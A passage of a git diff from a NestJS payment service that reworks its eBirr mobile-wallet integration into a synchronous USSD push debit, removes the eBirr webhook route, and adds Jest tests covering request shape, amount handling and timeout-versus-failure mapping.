{ setPayerMobile(e.target.value); setPhoneError(null); }} onKeyDown={(e) => { if (e.key === 'Enter') submitPhone(); }} - placeholder="77 XX XX XX" + placeholder={selectedMethod === 'EBIRR' ? "09XX XXX XXX" : "77 XX XX XX"} className="w-full px-3 py-3 rounded-lg border border-gray-300 dark:border-gray-600 bg-white dark:bg-gray-800 text-gray-900 dark:text-gray-100 focus:border-primary focus:ring-1 focus:ring-primary outline-none" /> {phoneError && ( diff --git a/apps/edr-payment-api/src/config/ebirr.config.ts b/apps/edr-payment-api/src/config/ebirr.config.ts index 4c5dd68e6..7d96d591a 100644 --- a/apps/edr-payment-api/src/config/ebirr.config.ts +++ b/apps/edr-payment-api/src/config/ebirr.config.ts @@ -1,9 +1,26 @@ import { registerAs } from "@nestjs/config"; +/** + * EbirrPay — direct mobile-wallet debit (docs/ebirr/INTEGRATION.md). + * + * Auth is plain credentials in the request body (§4): there is no signing key, and — because the + * flow has no hosted page and no callback — no notify URL and no return URL either. + */ export default registerAs("ebirr", () => ({ - baseUrl: process.env.EBIRR_BASE_URL || "", - merchantCode: process.env.EBIRR_MERCHANT_CODE || "", - secretKey: process.env.EBIRR_SECRET_KEY || "", - notifyUrl: process.env.EBIRR_NOTIFY_URL || "", - returnUrl: process.env.EBIRR_RETURN_URL || "", + baseUrl: process.env.EBIRR_BASE_URL ?? "", + merchantUid: process.env.EBIRR_MERCHANT_UID ?? "", + apiKey: process.env.EBIRR_API_KEY ?? "", + apiUserId: process.env.EBIRR_API_USER_ID ?? "", + paymentMethod: process.env.EBIRR_PAYMENT_METHOD ?? "MWALLET_ACCOUNT", + channelName: process.env.EBIRR_CHANNEL_NAME ?? "WEB", + /** + * How long API_PURCHASE waits for the payer to read the USSD prompt and type their PIN. It is + * awaited on the request path, so it must stay under every timeout in front of it — the + * passenger API's PAYMENT_API_HTTP_TIMEOUT_MS (60s) and nginx's 60s default proxy_read_timeout. + * Raising it past those turns a slow payer into a dropped connection instead of a fallback. + */ + purchaseTimeoutMs: Number(process.env.EBIRR_PURCHASE_TIMEOUT_MS ?? 45_000), + /** How long the intent stays payable before the reconciliation sweep expires it. */ + pushTtlMs: Number(process.env.EBIRR_PUSH_TTL_MS ?? 180_000), + insecureTls: process.env.EBIRR_INSECURE_TLS === "true", })); diff --git a/apps/edr-payment-api/src/modules/intents/intents.service.cbe-bill.spec.ts b/apps/edr-payment-api/src/modules/intents/intents.service.cbe-bill.spec.ts index acbfef4ee..953533d02 100644 --- a/apps/edr-payment-api/src/modules/intents/intents.service.cbe-bill.spec.ts +++ b/apps/edr-payment-api/src/modules/intents/intents.service.cbe-bill.spec.ts @@ -7,7 +7,7 @@ import { ProviderMethod, ProviderPaymentStatus, } from "@edr/types"; -import { CacBankProvider } from "@edr/payment-providers"; +import { CacBankProvider, EBirrProvider } from "@edr/payment-providers"; import { IntentsService } from "./intents.service"; import { IntentsRepository } from "./intents.repository"; import { BillReferenceService } from "./bill-reference.service"; @@ -61,6 +61,7 @@ describe("IntentsService CBE_BILL", () => { {} as DataSource, providers as never, {} as CacBankProvider, + {} as EBirrProvider, billReferenceService as unknown as BillReferenceService, ); }); diff --git a/apps/edr-payment-api/src/modules/intents/intents.service.ts b/apps/edr-payment-api/src/modules/intents/intents.service.ts index 0f5b41f4e..21da0707f 100644 --- a/apps/edr-payment-api/src/modules/intents/intents.service.ts +++ b/apps/edr-payment-api/src/modules/intents/intents.service.ts @@ -6,7 +6,11 @@ import { NotFoundException, } from "@nestjs/common"; import { DataSource } from "typeorm"; -import { createMerchantOrderId, CacBankProvider } from "@edr/payment-providers"; +import { + createMerchantOrderId, + CacBankProvider, + EBirrProvider, +} from "@edr/payment-providers"; import { ConfirmPaymentRequest, InitiatePaymentRequest, @@ -70,6 +74,9 @@ export class IntentsService { @Inject(PAYMENT_PROVIDER_MAP) private readonly providers: PaymentProviderMap, private readonly cacBankProvider: CacBankProvider, + // eBirr's debit is awaited on the request path (see settleEBirrPurchase), so we need the + // concrete class for its non-interface `purchase()` — same pattern as CacBankProvider. + private readonly eBirrProvider: EBirrProvider, private readonly billReferenceService: BillReferenceService, ) {} @@ -78,7 +85,6 @@ export class IntentsService { async initiate( request: InitiatePaymentRequest, ): Promise { - if (request.idempotencyKey) { const byKey = await this.intentsRepository.findByIdempotencyKey( request.service, @@ -105,17 +111,20 @@ export class IntentsService { ); } + // Push-debit providers charge an account we must be told up front — there is no hosted page + // that could collect it later. if ( - request.provider === ProviderMethod.CAC_BANK && + (request.provider === ProviderMethod.CAC_BANK || + request.provider === ProviderMethod.EBIRR) && !request.payerAccount?.trim() ) { throw new BadRequestException( - "payerAccount (customer mobile number) is required for CAC_BANK", + `payerAccount (customer mobile number) is required for ${request.provider}`, ); } const merchantOrderId = createMerchantOrderId(); - const result = await provider.initiate({ + const providerInput = { merchantOrderId, orderRef: request.orderRef ?? request.referenceId, amountMinor: request.amountMinor, @@ -125,7 +134,8 @@ export class IntentsService { returnUrl: request.returnUrl, redirectUrl: request.returnUrl, failureUrl: request.failureUrl, - }); + }; + const result = await provider.initiate(providerInput); const intent = await this.intentsRepository.create({ service: request.service, @@ -145,9 +155,47 @@ export class IntentsService { this.logger.log( `intent ${intent.id} created: ${request.service}/${request.referenceType}/${request.referenceId} via ${request.provider} (${merchantOrderId})`, ); + + if (request.provider === ProviderMethod.EBIRR) { + return this.settleEBirrPurchase(intent.id, providerInput); + } + return this.toSnapshot(intent); } + /** + * Issue the eBirr debit and hand back the settled intent. + * + * eBirr has no webhook: API_PURCHASE's response IS the settlement notification. So it is awaited + * here, on the request path, and the caller gets a terminal snapshot — the portal shows success + * or the real failure straight from the initiate response, with nothing to poll. + * + * The wait is bounded by EBIRR_PURCHASE_TIMEOUT_MS (45s), which must stay under the passenger + * API's 60s PAYMENT_API_HTTP_TIMEOUT_MS. A payer slower than that comes back PROCESSING and the + * intent keeps its AWAIT_PUSH client action, so the existing poll and the reconciliation sweep + * settle it as before. That fallback is rare but must not be removed: an unanswered purchase may + * still have moved money (vendor doc §10). + * + * purchase() does not throw — transport failures are already mapped to FAILED (never dispatched) + * or PROCESSING (sent, unanswered). The catch is for anything unforeseen: leaving the intent + * REQUIRES_ACTION also lands on the poll/sweep fallback, which is the safe direction. + */ + private async settleEBirrPurchase( + intentId: string, + providerInput: Parameters[0], + ): Promise { + try { + const status = await this.eBirrProvider.purchase(providerInput); + await this.applyProviderResult(intentId, status); + } catch (err) { + this.logger.error( + `eBirr purchase for intent ${intentId} (${providerInput.merchantOrderId}) could not be ` + + `settled: ${err instanceof Error ? err.message : err} — leaving it to the sweep`, + ); + } + return this.snapshotOf(intentId); + } + /** * CBE Unified Bill Payment (docs/cbe/CBE_IMPLEMENTATION_PLAN.md). Intent-first: the bill * reference is created here, before CBE ever sees the bill; settlement arrives later through diff --git a/apps/edr-payment-api/src/modules/providers/ebirr-purchase.spec.ts b/apps/edr-payment-api/src/modules/providers/ebirr-purchase.spec.ts new file mode 100644 index 000000000..e82e4dad5 --- /dev/null +++ b/apps/edr-payment-api/src/modules/providers/ebirr-purchase.spec.ts @@ -0,0 +1,374 @@ +import { of, throwError } from "rxjs"; +import { AxiosError } from "axios"; +import { + EBirrProvider, + normalizeEthiopianMsisdn, + ProviderPaymentStatus, +} from "@edr/payment-providers"; + +/** + * eBirr is a direct wallet debit over the ASM envelope (docs/ebirr/INTEGRATION.md), not the + * Alipay-style redirect gateway the pre-rewrite provider was written against. These pin the + * things that were wrong before and the things that are easy to "fix" back by mistake: + * + * - the wire shape must match the request verified by hand against testpayments.ebirr.com, + * including `payerInfo.accountNo` (NOT the doc's `subscriptionId`) and no signature field; + * - the amount reaches eBirr unscaled — the old code divided by 100 and would have charged + * 1/100th of every booking (same class of bug as cac-bank-amount.spec.ts); + * - `initiate()` must not touch the network: the blocking debit is `purchase()`; + * - a timeout must NOT be reported as FAILED — the money may have moved (vendor doc §10). + */ +describe("EBirrProvider", () => { + const config = { + get: (key: string) => + ({ + "ebirr.baseUrl": "https://testpayments.ebirr.com", + "ebirr.merchantUid": "M1000003", + "ebirr.apiKey": "API-1234560", + "ebirr.apiUserId": "10000008", + "ebirr.paymentMethod": "MWALLET_ACCOUNT", + "ebirr.channelName": "WEB", + "ebirr.purchaseTimeoutMs": 45_000, + "ebirr.pushTtlMs": 180_000, + })[key], + }; + + const input = { + merchantOrderId: "EDR-ORDER-1", + orderRef: "EDR-20240001", + amountMinor: 1500.5, + currency: "ETB", + payerAccount: "+251923582676", + }; + + function build(response?: unknown) { + const post = jest.fn().mockReturnValue(of({ data: response, status: 200 })); + const provider = new EBirrProvider(config as never, { post } as never); + return { provider, post }; + } + + /** + * Captured verbatim from the live sandbox (08/08/2026) across four scenarios. Note that the + * three failure envelopes are NOT 2001 yet still carry the authoritative `params.state` — the + * reason the provider reads `state` regardless of `responseCode`. + */ + const approved = { + schemaVersion: "1.0", + timestamp: "2026-08-08T06:40:42Z", + responseId: "REQ-001-20260506114500", + responseCode: "2001", + errorCode: "0", + responseMsg: "RCS_SUCCESS", + params: { + referenceId: "holyffuot", + transactionId: "619", + orderId: "521", + issuerTransactionId: "10000991513", + txAmount: "1.00", + state: "APPROVED", + }, + }; + + const declined = { + schemaVersion: "1.0", + timestamp: "2026-08-08T06:41:58Z", + responseId: "REQ-001-20260506114500", + responseCode: "5206", + errorCode: "E10205", + responseMsg: "Payment Failed (Invalid Credentials)", + params: { + referenceId: "hoflyffuot", + transactionId: "621", + orderId: "522", + txAmount: "1.00", + state: "DECLINED", + description: "Invalid Credentials", + }, + }; + + /** The payer aborted the USSD prompt, or let it lapse — eBirr reports both identically. */ + const userAborted = { + schemaVersion: "1.0", + timestamp: "2026-08-08T06:42:51Z", + responseId: "REQ-001-20260506114500", + responseCode: "5001", + errorCode: "4004", + responseMsg: "User Aborted", + params: { + referenceId: "hoflyffuofft", + transactionId: "622", + orderId: "523", + txAmount: "1.00", + state: "TIMEOUT", + description: "User Aborted", + }, + }; + + describe("initiate", () => { + it("issues no HTTP call and returns AWAIT_PUSH", async () => { + const { provider, post } = build(); + + const result = await provider.initiate(input); + + expect(post).not.toHaveBeenCalled(); + expect(result.clientAction).toEqual({ + type: "AWAIT_PUSH", + message: expect.stringContaining("PIN"), + payerAccountMasked: "2519****2676", + }); + expect(result.providerOrderId).toBe("EDR-ORDER-1"); + }); + + it("rejects a missing payer account rather than charging nobody", async () => { + const { provider } = build(); + await expect( + provider.initiate({ ...input, payerAccount: undefined }), + ).rejects.toThrow(/payerAccount/); + }); + + it("never leaks the api key or the full MSISDN into the audit payload", async () => { + const { provider } = build(); + const result = await provider.initiate(input); + const serialized = JSON.stringify(result.rawInitiation); + expect(serialized).not.toContain("API-1234560"); + expect(serialized).not.toContain("251923582676"); + }); + }); + + describe("purchase", () => { + it("sends the ASM envelope verified against the live sandbox", async () => { + const { provider, post } = build(approved); + + await provider.purchase(input); + + const [url, body] = post.mock.calls[0]; + expect(url).toBe("https://testpayments.ebirr.com/asm"); + expect(body).toMatchObject({ + schemaVersion: "1.0", + channelName: "WEB", + serviceName: "API_PURCHASE", + serviceParams: { + merchantUid: "M1000003", + apiKey: "API-1234560", + apiUserId: "10000008", + paymentMethod: "MWALLET_ACCOUNT", + // `accountNo`, not the vendor doc's `subscriptionId` + payerInfo: { accountNo: "251923582676" }, + transactionInfo: { + referenceId: "EDR-ORDER-1", + invoiceId: "EDR-20240001", + currency: "ETB", + }, + }, + }); + // eBirr wants `YYYY-MM-DD HH:mm:ss`, not the epoch seconds Waafi's /asm takes. + expect(body.timestamp).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/); + expect(body.requestId).toHaveLength(36); + // Nothing is signed — there is no shared secret in this integration. + expect(JSON.stringify(body)).not.toContain("sign"); + }); + + it("sends the amount unscaled — 1500.50 ETB, not 15.005", async () => { + const { provider, post } = build(approved); + + await provider.purchase(input); + + expect(post.mock.calls[0][1].serviceParams.transactionInfo.amount).toBe( + 1500.5, + ); + }); + + it("maps an APPROVED verdict to SUCCEEDED with the provider txn id", async () => { + const { provider } = build(approved); + + const result = await provider.purchase(input); + + expect(result.status).toBe(ProviderPaymentStatus.SUCCEEDED); + expect(result.providerTxnId).toBe("619"); + expect(result.failureCode).toBeUndefined(); + }); + + it("maps the live DECLINED response to FAILED with the specific cause", async () => { + const { provider } = build(declined); + + const result = await provider.purchase(input); + + expect(result.status).toBe(ProviderPaymentStatus.FAILED); + expect(result.failureCode).toBe("E10205"); + // The specific cause, not the generic "Payment Failed (…)" wrapper. + expect(result.failureMessage).toBe("Invalid Credentials"); + // eBirr issues a transaction id for failed attempts too — keep it for reconciliation. + expect(result.providerTxnId).toBe("621"); + }); + + it("maps the live User-Aborted/TIMEOUT response to FAILED", async () => { + const { provider } = build(userAborted); + + const result = await provider.purchase(input); + + expect(result.status).toBe(ProviderPaymentStatus.FAILED); + expect(result.failureCode).toBe("4004"); + expect(result.failureMessage).toBe("User Aborted"); + expect(result.providerTxnId).toBe("622"); + }); + + it("never promotes a rejected envelope to SUCCEEDED, even if state says APPROVED", async () => { + const { provider } = build({ + ...declined, + params: { state: "APPROVED" }, + }); + + const result = await provider.purchase(input); + + expect(result.status).toBe(ProviderPaymentStatus.FAILED); + }); + + it("falls back to the envelope when a rejection carries no params at all", async () => { + const { provider } = build({ + schemaVersion: "1.0", + responseCode: "5001", + errorCode: "E10206", + responseMsg: "Failed to process request", + }); + + const result = await provider.purchase(input); + + expect(result.status).toBe(ProviderPaymentStatus.FAILED); + expect(result.failureCode).toBe("E10206"); + }); + + it("maps a timeout to PROCESSING, never FAILED — the money may have moved", async () => { + const post = jest + .fn() + .mockReturnValue( + throwError(() => new AxiosError("timeout of 45000ms exceeded")), + ); + const provider = new EBirrProvider(config as never, { post } as never); + + const result = await provider.purchase(input); + + expect(result.status).toBe(ProviderPaymentStatus.PROCESSING); + }); + + /** + * The dispatch/no-dispatch split. A request that never left the process cannot have moved + * money and leaves NO transaction for API_GETTRANINFO to find — reporting it as PROCESSING + * stranded the payer on "check your phone" for a push that was never sent, until expiry. + * A request that did go out stays PROCESSING no matter how it broke (vendor doc §10). + */ + function purchaseWithTransportError( + message: string, + code?: string, + ): Promise<{ status: ProviderPaymentStatus; failureMessage?: string }> { + const err = new AxiosError(message); + if (code) err.code = code; + const post = jest.fn().mockReturnValue(throwError(() => err)); + return new EBirrProvider( + config as never, + { + post, + } as never, + ).purchase(input); + } + + it.each([ + // Node's TCP connect timeout — the SYN was never answered (blocked port / no whitelist). + ["connect ETIMEDOUT 197.156.83.125:443", "ETIMEDOUT"], + ["connect ECONNREFUSED 10.0.0.1:443", "ECONNREFUSED"], + ["getaddrinfo ENOTFOUND testpayments.ebirr.com", "ENOTFOUND"], + ["Invalid URL", "ERR_INVALID_URL"], + ["certificate has expired", "CERT_HAS_EXPIRED"], + ])("fails fast on %s — it never reached eBirr", async (message, code) => { + const result = await purchaseWithTransportError(message, code); + + expect(result.status).toBe(ProviderPaymentStatus.FAILED); + // A cause the payer can act on, not the generic "please try again". + expect(result.failureMessage).toMatch(/could not reach ebirr/i); + }); + + it.each([ + // Axios's own read timeout reported with the ETIMEDOUT code (clarifyTimeoutError) — the + // request WAS sent, so this must not be confused with a connect timeout. + ["timeout of 45000ms exceeded", "ETIMEDOUT"], + // Fired after the body went out; the debit may well have been processed. + ["socket hang up", "ECONNRESET"], + ["aborted", "ECONNABORTED"], + ["something nobody anticipated", undefined], + ])( + "keeps %s as PROCESSING — it may have been dispatched", + async (message, code) => { + const result = await purchaseWithTransportError(message, code); + + expect(result.status).toBe(ProviderPaymentStatus.PROCESSING); + }, + ); + }); + + describe("queryStatus", () => { + it("looks the transaction up by referenceId via API_GETTRANINFO", async () => { + const { provider, post } = build({ + schemaVersion: "1.0", + responseCode: "2001", + errorCode: "0", + responseMsg: "RCS_SUCCESS", + params: { status: "Approved", transactionId: "126895" }, + }); + + const result = await provider.queryStatus("EDR-ORDER-1"); + + expect(post.mock.calls[0][1]).toMatchObject({ + serviceName: "API_GETTRANINFO", + serviceParams: { referenceId: "EDR-ORDER-1" }, + }); + expect(result.status).toBe(ProviderPaymentStatus.SUCCEEDED); + expect(result.providerTxnId).toBe("126895"); + }); + + it("treats an unknown transaction as REQUIRES_ACTION, not PROCESSING", async () => { + const { provider } = build({ + schemaVersion: "1.0", + responseCode: "5001", + errorCode: "E10206", + responseMsg: "Failed to get transaction info", + }); + + const result = await provider.queryStatus("EDR-ORDER-1"); + + // The payer simply hasn't answered the prompt yet. Persisting a PROCESSING guess would + // let the sweep strand them on a push they never touched. + expect(result.status).toBe(ProviderPaymentStatus.REQUIRES_ACTION); + }); + + it("honours a terminal state on a rejected envelope instead of hanging the payer", async () => { + // The purchase endpoint returns rejected envelopes that still carry a verdict + // (5206/DECLINED, 5001/TIMEOUT). If the query endpoint does the same, reading only the + // envelope would report REQUIRES_ACTION and leave the payer waiting until expiry. + const { provider } = build(userAborted); + + const result = await provider.queryStatus("EDR-ORDER-1"); + + expect(result.status).toBe(ProviderPaymentStatus.FAILED); + expect(result.failureMessage).toBe("User Aborted"); + }); + }); + + describe("normalizeEthiopianMsisdn", () => { + it.each([ + ["+251923582676", "251923582676"], + ["251923582676", "251923582676"], + ["0923582676", "251923582676"], + ["923582676", "251923582676"], + ["+251 92 358 2676", "251923582676"], + ["0712345678", "251712345678"], + ])("normalises %s to %s", (raw, expected) => { + expect(normalizeEthiopianMsisdn(raw)).toBe(expected); + }); + + it.each(["", "not-a-number", "0812345678", "09123", "0912345678901"])( + "rejects %s rather than prompting a stranger's handset", + (raw) => { + expect(() => normalizeEthiopianMsisdn(raw)).toThrow(); + }, + ); + }); +}); diff --git a/apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts b/apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts deleted file mode 100644 index 3f8b923cd..000000000 --- a/apps/edr-payment-api/src/modules/webhooks/handlers/ebirr-webhook.service.ts +++ /dev/null @@ -1,33 +0,0 @@ -import { Injectable } from "@nestjs/common"; -import { EBirrProvider, EBirrWebhookPayload } from "@edr/payment-providers"; -import { WebhookProcessorService } from "../webhook-processor.service"; - -@Injectable() -export class EBirrWebhookService { - constructor( - private readonly provider: EBirrProvider, - private readonly processor: WebhookProcessorService, - ) {} - - async handle(payload: EBirrWebhookPayload): Promise { - const signatureValid = this.provider.verifyWebhookSignature( - payload as unknown as Record, - ); - const mapped = this.provider.mapWebhookStatus(payload.tradeStatus); - - await this.processor.process({ - provider: this.provider.method, - externalEventId: `${payload.orderNo}_${payload.tradeStatus}_${payload.timestamp}`, - merchantOrderId: payload.orderNo, - providerTxnId: payload.tradeNo, - signatureValid, - rawStatus: payload.tradeStatus, - payload: payload as unknown as Record, - result: { - status: mapped, - providerTxnId: payload.tradeNo, - failureCode: payload.tradeStatus, - }, - }); - } -} diff --git a/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts b/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts index 6c923e8b4..e4b200ad6 100644 --- a/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts +++ b/apps/edr-payment-api/src/modules/webhooks/webhooks.controller.ts @@ -14,14 +14,12 @@ import { CardWebhookPayload, CbeBirrWebhookPayload, DMoneyWebhookPayload, - EBirrWebhookPayload, TelebirrWebhookPayload, WaafiWebhookHeaders, WaafiWebhookPayload, } from "@edr/payment-providers"; import { TelebirrWebhookService } from "./handlers/telebirr-webhook.service"; import { CbeBirrWebhookService } from "./handlers/cbe-birr-webhook.service"; -import { EBirrWebhookService } from "./handlers/ebirr-webhook.service"; import { CardWebhookService } from "./handlers/card-webhook.service"; import { WaafiWebhookService } from "./handlers/waafi-webhook.service"; import { DMoneyWebhookService } from "./handlers/dmoney-webhook.service"; @@ -40,7 +38,6 @@ export class WebhooksController { constructor( private readonly telebirr: TelebirrWebhookService, private readonly cbeBirr: CbeBirrWebhookService, - private readonly eBirr: EBirrWebhookService, private readonly card: CardWebhookService, private readonly waafi: WaafiWebhookService, private readonly dMoney: DMoneyWebhookService, @@ -89,17 +86,9 @@ export class WebhooksController { return { success: true }; } - @Post("ebirr") - @HttpCode(HttpStatus.OK) - @ApiOperation({ summary: "eBirr payment notification callback (Ethiopia)" }) - async receiveEBirr(@Body() payload: EBirrWebhookPayload) { - try { - await this.eBirr.handle(payload); - } catch (err) { - this.logger.error(`eBirr webhook handler threw: ${this.message(err)}`); - } - return { code: "0000", message: "success" }; - } + // No eBirr route by design: EbirrPay's API-payment flow has no callback. The API_PURCHASE + // response is the settlement notification, and API_GETTRANINFO is the authority for a missing + // or ambiguous one — see docs/ebirr/INTEGRATION.md. @Post("card") @HttpCode(HttpStatus.OK) diff --git a/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts b/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts index 86b94032b..78d2f8717 100644 --- a/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts +++ b/apps/edr-payment-api/src/modules/webhooks/webhooks.module.ts @@ -8,7 +8,6 @@ import { WebhookProcessorService } from "./webhook-processor.service"; import { WebhooksController } from "./webhooks.controller"; import { TelebirrWebhookService } from "./handlers/telebirr-webhook.service"; import { CbeBirrWebhookService } from "./handlers/cbe-birr-webhook.service"; -import { EBirrWebhookService } from "./handlers/ebirr-webhook.service"; import { CardWebhookService } from "./handlers/card-webhook.service"; import { WaafiWebhookService } from "./handlers/waafi-webhook.service"; import { DMoneyWebhookService } from "./handlers/dmoney-webhook.service"; @@ -25,7 +24,6 @@ import { DMoneyWebhookService } from "./handlers/dmoney-webhook.service"; WebhookProcessorService, TelebirrWebhookService, CbeBirrWebhookService, - EBirrWebhookService, CardWebhookService, WaafiWebhookService, DMoneyWebhookService, diff --git a/packages/payment-providers/src/index.ts b/packages/payment-providers/src/index.ts index 523d9fb03..05b21c235 100644 --- a/packages/payment-providers/src/index.ts +++ b/packages/payment-providers/src/index.ts @@ -60,6 +60,15 @@ export type { WaafiGetTranInfoResponse, } from './providers/waafi/waafi.types'; +// EbirrPay API-payment request/response types (same ASM envelope as Waafi — see ebirr.types.ts) +export type { + EbirrState, + EbirrPurchaseRequest, + EbirrPurchaseResponse, + EbirrGetTranInfoRequest, + EbirrGetTranInfoResponse, +} from './providers/ebirr/ebirr.types'; + // CAC Bank request/response types export type { CacSigninRequest, @@ -76,7 +85,7 @@ export type { // Webhook payload types export type { TelebirrWebhookPayload } from './webhooks/telebirr-webhook.types'; export type { CbeBirrWebhookPayload } from './webhooks/cbe-birr-webhook.types'; -export type { EBirrWebhookPayload } from './webhooks/ebirr-webhook.types'; +// (no eBirr webhook type: EbirrPay has no callback — the API_PURCHASE response is the result) export type { CardWebhookPayload } from './webhooks/card-webhook.types'; export type { WaafiWebhookPayload, @@ -88,5 +97,8 @@ export type { } from './webhooks/waafi-webhook.types'; export type { DMoneyWebhookPayload } from './webhooks/dmoney-webhook.types'; +// Phone-number helpers +export { normalizeEthiopianMsisdn, maskMsisdn } from './utils/msisdn'; + // DI token for injecting all providers as an array (future multi-provider wiring) export const PAYMENT_PROVIDERS = Symbol('PAYMENT_PROVIDERS'); diff --git a/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts b/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts index 2f8e954cf..d8d5e7cf1 100644 --- a/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts +++ b/packages/payment-providers/src/providers/ebirr/ebirr.provider.ts @@ -1,4 +1,4 @@ -import { Injectable, Logger } from "@nestjs/common"; +import { Injectable, Logger, OnModuleInit } from "@nestjs/common"; import { ConfigService } from "@nestjs/config"; import { HttpService } from "@nestjs/axios"; import { @@ -12,225 +12,568 @@ import { import { AxiosError, AxiosRequestConfig } from "axios"; import { firstValueFrom } from "rxjs"; import * as crypto from "node:crypto"; +import * as https from "node:https"; +import { maskMsisdn, normalizeEthiopianMsisdn } from "../../utils/msisdn"; +import { + EbirrGetTranInfoRequest, + EbirrGetTranInfoResponse, + EbirrPurchaseRequest, + EbirrPurchaseResponse, +} from "./ebirr.types"; -interface EBirrInitiateRequest { - merchantCode: string; - orderNo: string; - amount: number; - currency: string; - subject: string; - body: string; - notifyUrl: string; - returnUrl: string; - timestamp: number; - sign: string; -} +/** EbirrPay's "request processed" envelope code. Says nothing about the payment outcome. */ +const EBIRR_SUCCESS_CODE = "2001"; +/** Status queries are quick lookups — they must not inherit the long purchase timeout. */ +const EBIRR_QUERY_TIMEOUT_MS = 10_000; -interface EBirrInitiateResponse { - code: string; - message: string; - data?: { - orderNo: string; - payUrl: string; - expireTime: number; - }; -} - -interface EBirrQueryResponse { - code: string; - message: string; - data?: { - orderNo: string; - tradeStatus: string; - tradeNo?: string; - totalAmount?: number; - payTime?: number; - }; -} +/** + * Transport errors that prove the request **never reached eBirr**: a bad URL, DNS, the TCP + * connect and the TLS handshake all fail before a single byte of the body is written. + * + * This distinction is the whole reason the set exists. No debit can exist for a request that was + * never sent, so there is nothing for `API_GETTRANINFO` to find — reporting these as PROCESSING + * leaves the payer staring at "check your phone" for a prompt that was never pushed, until the + * intent expires. They are a payment failure, and the payer should be told immediately. + * + * Deliberately an allowlist. Anything not named here — notably `ECONNRESET` and `ECONNABORTED`, + * which can both fire *after* the body went out — falls through to PROCESSING, because vendor doc + * §10 is explicit that an ambiguous send must be resolved by querying, never by assuming failure. + */ +const EBIRR_UNDISPATCHED_CODES = new Set([ + "ERR_INVALID_URL", // empty/misconfigured EBIRR_BASE_URL — no socket is ever opened + "ENOTFOUND", // DNS: host does not resolve + "EAI_AGAIN", // DNS: resolver timed out + "ECONNREFUSED", // TCP: port closed + "EHOSTUNREACH", + "ENETUNREACH", + "CERT_HAS_EXPIRED", // TLS: handshake fails before the request is written + "DEPTH_ZERO_SELF_SIGNED_CERT", + "UNABLE_TO_VERIFY_LEAF_SIGNATURE", + "ERR_TLS_CERT_ALTNAME_INVALID", +]); +/** + * EbirrPay — direct mobile-wallet debit (docs/ebirr/INTEGRATION.md). + * + * Unlike every other gateway in this package, eBirr has **no hosted page, no redirect and no + * webhook**. `API_PURCHASE` pushes a PIN prompt to the payer's handset over USSD and holds the + * HTTP connection open until they approve or decline it — the synchronous response *is* the + * settlement notification. + * + * The charge is therefore split in two: + * + * - `initiate()` performs **no I/O**. It validates the payer account and builds the + * `AWAIT_PUSH` client action used as the fallback when the debit outlives its timeout. + * - `purchase()` issues the actual blocking debit. payment-api's IntentsService awaits it on + * the request path (`settleEBirrPurchase`) so the payer gets the verdict in the initiate + * response — there is no webhook, so this response *is* the settlement notification. + * + * The wait is bounded by `EBIRR_PURCHASE_TIMEOUT_MS` (45s), which has to stay under the chain's + * own limits — the passenger API's 60s `PAYMENT_API_HTTP_TIMEOUT_MS` and nginx's 60s default + * `proxy_read_timeout`. A payer slower than that yields PROCESSING and the intent falls back to + * `AWAIT_PUSH` for the client poll; the reconciliation sweep settles it via `queryStatus` + * (`API_GETTRANINFO`), which is the authority vendor doc §10 points at for missing or ambiguous + * responses. That path is rare but must not be removed: the money may already have moved. + */ @Injectable() -export class EBirrProvider implements PaymentProvider { +export class EBirrProvider implements PaymentProvider, OnModuleInit { readonly method = ProviderMethod.EBIRR; private readonly logger = new Logger(EBirrProvider.name); + private readonly httpsAgent: https.Agent; constructor( private readonly config: ConfigService, private readonly http: HttpService, - ) {} + ) { + const insecure = this.config.get("ebirr.insecureTls"); + if (insecure) { + this.logger.warn( + "EBIRR_INSECURE_TLS=true — TLS verification disabled for eBirr calls. DEV ONLY.", + ); + } + this.httpsAgent = new https.Agent({ rejectUnauthorized: !insecure }); + } + /** Log the effective eBirr config once at startup (secrets masked) so misconfig is visible. */ + onModuleInit(): void { + this.logger.log( + `eBirr config resolved: ${JSON.stringify(this.effectiveConfig())}`, + ); + } + + /** Snapshot of every resolved eBirr env value; secret fields are masked, not printed raw. */ + private effectiveConfig(): Record { + return { + EBIRR_BASE_URL: this.baseUrl || "(empty)", + EBIRR_MERCHANT_UID: this.merchantUid || "(empty)", + EBIRR_API_USER_ID: this.apiUserId || "(empty)", + EBIRR_API_KEY: this.mask(this.apiKey), + EBIRR_PAYMENT_METHOD: this.paymentMethod, + EBIRR_CHANNEL_NAME: this.channelName, + EBIRR_PURCHASE_TIMEOUT_MS: this.purchaseTimeoutMs, + EBIRR_PUSH_TTL_MS: this.pushTtlMs, + EBIRR_INSECURE_TLS: + this.config.get("ebirr.insecureTls") ?? false, + }; + } + + /** Mask a secret to `set(len=N,…abcd)` / `(empty)` so presence & length are visible but not the value. */ + private mask(value: string): string { + if (!value) return "(empty)"; + const tail = value.length > 4 ? value.slice(-4) : ""; + return `set(len=${value.length},…${tail})`; + } + + /** + * Prepare the push debit. Deliberately does no network I/O — the charge itself is `purchase()`. + * + * `providerOrderId` is our own `merchantOrderId`: this flow mints no separate order id (the + * `orderId` the vendor doc §5.4 mentions belongs to the HPP family we don't use), and + * `queryStatus` looks the transaction up by `referenceId` anyway. + */ async initiate( input: ProviderInitiationInput, ): Promise { - const amount = input.amountMinor / 100; - const timestamp = Date.now(); + if (!input.payerAccount?.trim()) { + throw new Error( + "eBirr requires payerAccount (the customer's mobile-wallet number)", + ); + } + // Throws on a malformed number rather than pushing a PIN prompt to the wrong handset. + const accountNo = normalizeEthiopianMsisdn(input.payerAccount); - const requestBody: EBirrInitiateRequest = { - merchantCode: this.merchantCode, - orderNo: input.merchantOrderId, - amount, - currency: input.currency, - subject: `EDR Ticket`, - body: `Order ${input.orderRef}`, - notifyUrl: this.notifyUrl, - // Per-transaction browser return target (each calling app has its own UI); config is fallback. - returnUrl: input.returnUrl ?? this.returnUrl, - timestamp, - sign: this.signRequest({ - merchantCode: 